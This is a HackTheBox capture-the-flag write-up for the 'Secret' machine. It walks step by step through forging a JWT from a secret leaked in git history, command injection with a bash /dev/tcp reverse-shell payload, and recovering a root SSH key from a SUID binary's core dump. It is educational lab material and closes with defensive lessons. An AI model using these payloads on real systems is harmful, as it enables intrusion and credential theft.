HTB: Secret Writeup

Secret - HackTheBox Writeup

Machine Information

AttributeDetails
NameSecret
OSLinux
DifficultyEasy
Points408
Release Date21 Mar 2022
IP Address10.10.11.120
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Secret presents a straightforward path through source code review and JWT token forgery. The machine features a Node.js API with downloadable source code that happens to be a git repository—revealing a hardcoded JWT secret in commit history. Armed with this secret, we forge an admin token to exploit a command injection vulnerability in the /api/logs endpoint, achieving user-level access. Privilege escalation involves exploiting a SUID binary (count) that reads files as root; by leveraging core dumps enabled via prctl(PR_SET_DUMPABLE, 1), we crash the binary while it’s reading the root SSH key and extract credentials from the core dump. This machine emphasizes source code analysis and creative exploitation of debug features.

TL;DR: Git history → JWT secret → Forged token → Command injection RCE → SUID binary → Core dump analysis → Root SSH key.


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -T4 10.10.11.120
nmap -p22,80,3000 -sC -sV 10.10.11.120

Results:

PortServiceVersion
22SSHOpenSSH
80HTTPNginx
3000HTTPNode.js

Service Enumeration

Port 80 (Nginx): Displays an index page advertising an API-based authentication system. A “Live Demo” button references /api (404 error). Critically, the page offers a source code download at the bottom.

Port 3000 (Node.js): Likely hosts the actual API application.

Port 22 (SSH): Standard SSH service, target for later access.

Vulnerability Assessment

After extracting the downloaded source code archive:

  1. Git repository detected: The .git directory is present in the source tree, allowing access to commit history.

  2. Hardcoded JWT secret in git history: Examining commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 reveals that TOKEN_SECRET was changed to "secret" for “security reasons”—the actual secret was committed previously in plaintext.

  3. Command injection in /logs endpoint: The newer /logs endpoint passes the file parameter unsanitized to git log, allowing shell command injection:

    // routes/api.js (vulnerable code)
    router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const sh = require('child_process').exec(`git log --oneline ${file}`);
    // file is not sanitized!
    });
  4. JWT authentication requirement: The /logs endpoint requires a valid JWT token with name: "theadmin" to bypass the verifytoken middleware.


Initial Foothold

Exploitation Path

Step 1: Extract the JWT Secret

Navigate to the downloaded source code directory and examine git history:

Terminal window
cd /path/to/extracted/source
git log --oneline

Identify the suspicious commit related to security changes:

Terminal window
git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78

Output reveals:

TOKEN_SECRET="secret" # Previously hardcoded in plaintext

Step 2: Forge a Malicious JWT Token

Using jwt.io, create a token with the following payload:

{
"_id": "any_id",
"name": "theadmin",
"email": "admin@secret.htb"
}

Set the signing algorithm to HS256 and paste "secret" (the extracted secret) in the secret field.

This generates a valid, forged token that will pass server-side verification.

Step 3: Test the Command Injection

Using BurpSuite or curl, inject the token into the auth-token header and test the /api/logs endpoint:

Terminal window
curl -H "auth-token: <FORGED_JWT_TOKEN>" \
"http://10.10.11.120/api/logs?file=;id"

The id command output appears in the response, confirming command injection.

Step 4: Establish Reverse Shell

Set up a netcat listener on your attack machine:

Terminal window
nc -lvnp 9001

Craft a reverse shell payload using URL encoding for spaces and special characters:

Terminal window
curl -H "auth-token: <FORGED_JWT_TOKEN>" \
"http://10.10.11.120/api/logs?file=;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/9001+0>%261'"

Result: Reverse shell received as user dasith.


Privilege Escalation

Step 1: Obtain Interactive TTY

From the reverse shell, upgrade to a fully interactive shell:

Terminal window
# From reverse shell
script /dev/null -c bash
# On attacker machine (press Ctrl+Z)
stty raw -echo; fg
# Press Enter twice to finalize

Step 2: Enumerate SUID Binaries

Search for unusual SUID binaries across the filesystem:

Terminal window
find / -perm -u=s -type f 2>/dev/null

Identify the non-standard binary /opt/count.

Step 3: Analyze SUID Binary Source

Examine the source code at /opt/count.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary) {
// Counts files/dirs in a directory
// Outputs summary to buffer
}
void filecount(const char *path, char *summary) {
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r"); // Opens ANY file (including /root/.ssh/id_rsa)
// Reads file contents into variables and summary buffer
}
int main() {
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary); // Runs as root, reads /root/.ssh/id_rsa into summary
setuid(getuid()); // Drops privileges (too late—file already read)
prctl(PR_SET_DUMPABLE, 1); // ENABLES CORE DUMPS
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
}
}
return 0;
}

Key vulnerability: The binary reads files as root, stores contents in a stack buffer, enables core dumps via prctl(), and then awaits user input—a perfect opportunity to crash the process and recover file contents from the core dump.

Step 4: Exploit Core Dump Generation

Execute the binary and trigger a controlled crash while it holds the root SSH key in memory:

Terminal window
# Terminal 1: Run the binary
/opt/count
# When prompted, enter:
/root/.ssh/id_rsa
# Press Ctrl+Z to background the process
# (The SSH key is now in the summary buffer)
# Terminal 2: Send SIGSEGV to the backgrounded process
kill -SIGSEGV $(pgrep -f "^/opt/count$")
# Terminal 1: Bring process to foreground
fg
# The application crashes and generates a core dump

Core dump is created at /var/crash/_opt_count.1000.crash (or similar).

Step 5: Extract SSH Key from Core Dump

Unpack and analyze the core dump file:

Terminal window
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump | grep -A 30 "BEGIN RSA PRIVATE KEY"

Extract the complete SSH private key from the strings output.

Step 6: SSH as Root

On your attack machine, save the extracted key:

Terminal window
cat > root_key << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
[paste extracted key content]
-----END RSA PRIVATE KEY-----
EOF
chmod 600 root_key
ssh -i root_key root@10.10.11.120

Result: Root shell obtained.


Attack Chain Summary

Enumerate Port 80 (Nginx)
Download Source Code
Discover .git Repository
Extract TOKEN_SECRET from Git History ("secret")
Forge JWT Token with name: "theadmin"
Inject Token into auth-token Header
Exploit Command Injection in /api/logs?file=;COMMAND
Reverse Shell as User dasith
Enumerate SUID Binaries (/opt/count)
Analyze count.c Source Code
Identify: Reads Files as Root + Core Dumps Enabled
Execute /opt/count with /root/.ssh/id_rsa Path
Background Process (Ctrl+Z)
Send SIGSEGV Signal to Crash Process
Extract SSH Key from Core Dump (apport-unpack + strings)
SSH Login as Root
Obtain Root Flag

Tools Used

ToolPurpose
nmapNetwork port scanning and service enumeration
gitExtracting commit history and secrets
jwt.ioJWT token creation and signing
curl / BurpSuiteHTTP request crafting and injection
nc (netcat)Reverse shell listener
findSUID binary discovery
apport-unpackCore dump extraction and unpacking
stringsBinary analysis and key extraction from core dumps
sshRemote authentication with extracted credentials

Key Learnings

Techniques Practiced

  • Git repository exploitation: Extracting hardcoded secrets from commit history
  • JWT token forgery: Creating valid tokens when the signing secret is known
  • Command injection: Exploiting unsanitized input in shell execution contexts
  • SUID binary analysis: Identifying privilege escalation paths in setuid binaries
  • Core dump exploitation: Using enabled core dumps to recover sensitive data from memory
  • Signal-based exploitation: Triggering controlled crashes via SIGSEGV
  • Interactive shell upgrade: Converting reverse shells to full TTY shells

Lessons Learned

  1. Always review git history in accessible repositories. Developers often commit secrets and then attempt to remove them—but the history remains.

  2. JWT secrets must be treated as cryptographic material. A compromised secret allows arbitrary token forgery, regardless of the signature algorithm.

  3. Never trust user input in system command execution. Even seemingly safe parameters can become injection vectors without explicit sanitization or parameterized APIs.

  4. SUID binaries with debug features enabled are dangerous. The combination of prctl(PR_SET_DUMPABLE, 1) and file operations on sensitive data creates a memory disclosure vulnerability.

  5. Core dumps are a powerful forensic tool in both offense and defense. Sensitive data (keys, tokens, passwords) persists in process memory and becomes recoverable once a core dump is created.

  6. Privilege dropping must occur before sensitive operations. Calling setuid(getuid()) after reading sensitive files doesn’t prevent their contents from residing in memory.

  7. Stack-based buffers in high-privilege code are exploitable. The fixed-size summary[4096] buffer in count.c becomes a data exfiltration channel when combined with core dump analysis.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>